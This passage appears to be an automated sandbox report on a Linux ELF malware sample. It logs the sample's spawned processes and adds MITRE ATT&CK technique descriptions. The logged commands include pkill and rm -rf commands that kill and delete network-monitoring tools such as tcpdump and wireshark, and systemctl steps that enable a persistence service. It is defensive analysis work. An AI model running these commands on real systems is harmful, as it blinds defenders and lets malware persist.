Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6251, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill ettercap
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6252, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6252, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill dsniff
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6253, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6253, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill ngrep
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6254, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6254, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill tcpflow
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6255, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6255, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill windump
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6256, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: pkill PID: 6256, Parent PID: 6246

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/pkill
Arguments:	pkill netsniff-ng
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Chronological Activities

Analysis Process: x86_64.elf PID: 6266, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6266, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/tcpdump
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6267, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6267, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/tshark
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6268, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6268, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/wireshark
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6269, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6269, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/dumpcap
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6270, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6270, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/ettercap
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6271, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6271, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/dsniff
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6272, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6272, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/ngrep
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6273, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6273, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/tcpflow
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6274, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6274, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/windump
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6275, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6275, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/sbin/netsniff-ng
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6276, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6276, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/tcpdump
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6277, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6277, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/tshark
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6278, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6278, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/wireshark
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6279, Parent PID: 6246

General

Start time (UTC):	07:48:08
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6279, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/dumpcap
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6280, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6280, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/ettercap
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6281, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6281, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/dsniff
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6282, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6282, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/ngrep
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6283, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6283, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/tcpflow
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6284, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6284, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/windump
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6285, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: rm PID: 6285, Parent PID: 6246

General

Start time (UTC):	07:48:09
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /usr/bin/netsniff-ng
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: x86_64.elf PID: 6286, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6464, Parent PID: 6286

General

Start time (UTC):	07:48:18
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6466, Parent PID: 6464

General

Start time (UTC):	07:48:18
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6465, Parent PID: 6286

General

Start time (UTC):	07:48:18
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: sh PID: 6465, Parent PID: 6286

General

Start time (UTC):	07:48:18
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6467, Parent PID: 6465

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6467, Parent PID: 6465

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: x86_64.elf PID: 6472, Parent PID: 6286

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: sh PID: 6472, Parent PID: 6286

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6473, Parent PID: 6472

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6473, Parent PID: 6472

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: x86_64.elf PID: 6287, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Chronological Activities

Analysis Process: x86_64.elf PID: 6289, Parent PID: 6287

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Analysis Process: x86_64.elf PID: 6288, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Analysis Process: sh PID: 6288, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6290, Parent PID: 6288

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemctl PID: 6290, Parent PID: 6288

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: x86_64.elf PID: 6303, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	81616 bytes
MD5 hash:	793608dcc966f10f356cc0c84b68f618

Analysis Process: sh PID: 6303, Parent PID: 6246

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6304, Parent PID: 6303

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemctl PID: 6304, Parent PID: 6303

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: dash PID: 6224, Parent PID: 4331

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rm PID: 6224, Parent PID: 4331

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Analysis Process: dash PID: 6225, Parent PID: 4331

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rm PID: 6225, Parent PID: 4331

General

Start time (UTC):	07:47:50
Start date (UTC):	02/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.GHPtGyr9eo /tmp/tmp.haNIH77T1p /tmp/tmp.ycnmguYVtd
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Analysis Process: systemd PID: 6292, Parent PID: 6291

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: snapd-env-generator PID: 6292, Parent PID: 6291

General

Start time (UTC):	07:48:10
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Analysis Process: systemd PID: 6317, Parent PID: 6316

General

Start time (UTC):	07:48:11
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: snapd-env-generator PID: 6317, Parent PID: 6316

General

Start time (UTC):	07:48:11
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Analysis Process: gnome-session-binary PID: 6324, Parent PID: 1477

General

Start time (UTC):	07:48:12
Start date (UTC):	02/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Analysis Process: sh PID: 6324, Parent PID: 1477

General

Start time (UTC):	07:48:12
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: gsd-rfkill PID: 6324, Parent PID: 1477

General

Start time (UTC):	07:48:12
Start date (UTC):	02/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Analysis Process: systemd PID: 6329, Parent PID: 1

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: systemd-hostnamed PID: 6329, Parent PID: 1

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Analysis Process: gdm3 PID: 6460, Parent PID: 1320

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Analysis Process: Default PID: 6460, Parent PID: 1320

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: gdm3 PID: 6461, Parent PID: 1320

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Analysis Process: Default PID: 6461, Parent PID: 1320

General

Start time (UTC):	07:48:14
Start date (UTC):	02/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemd PID: 6469, Parent PID: 6468

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: snapd-env-generator PID: 6469, Parent PID: 6468

General

Start time (UTC):	07:48:19
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Analysis Process: systemd PID: 6475, Parent PID: 6474

General

Start time (UTC):	07:48:20
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: snapd-env-generator PID: 6475, Parent PID: 6474

General

Start time (UTC):	07:48:20
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
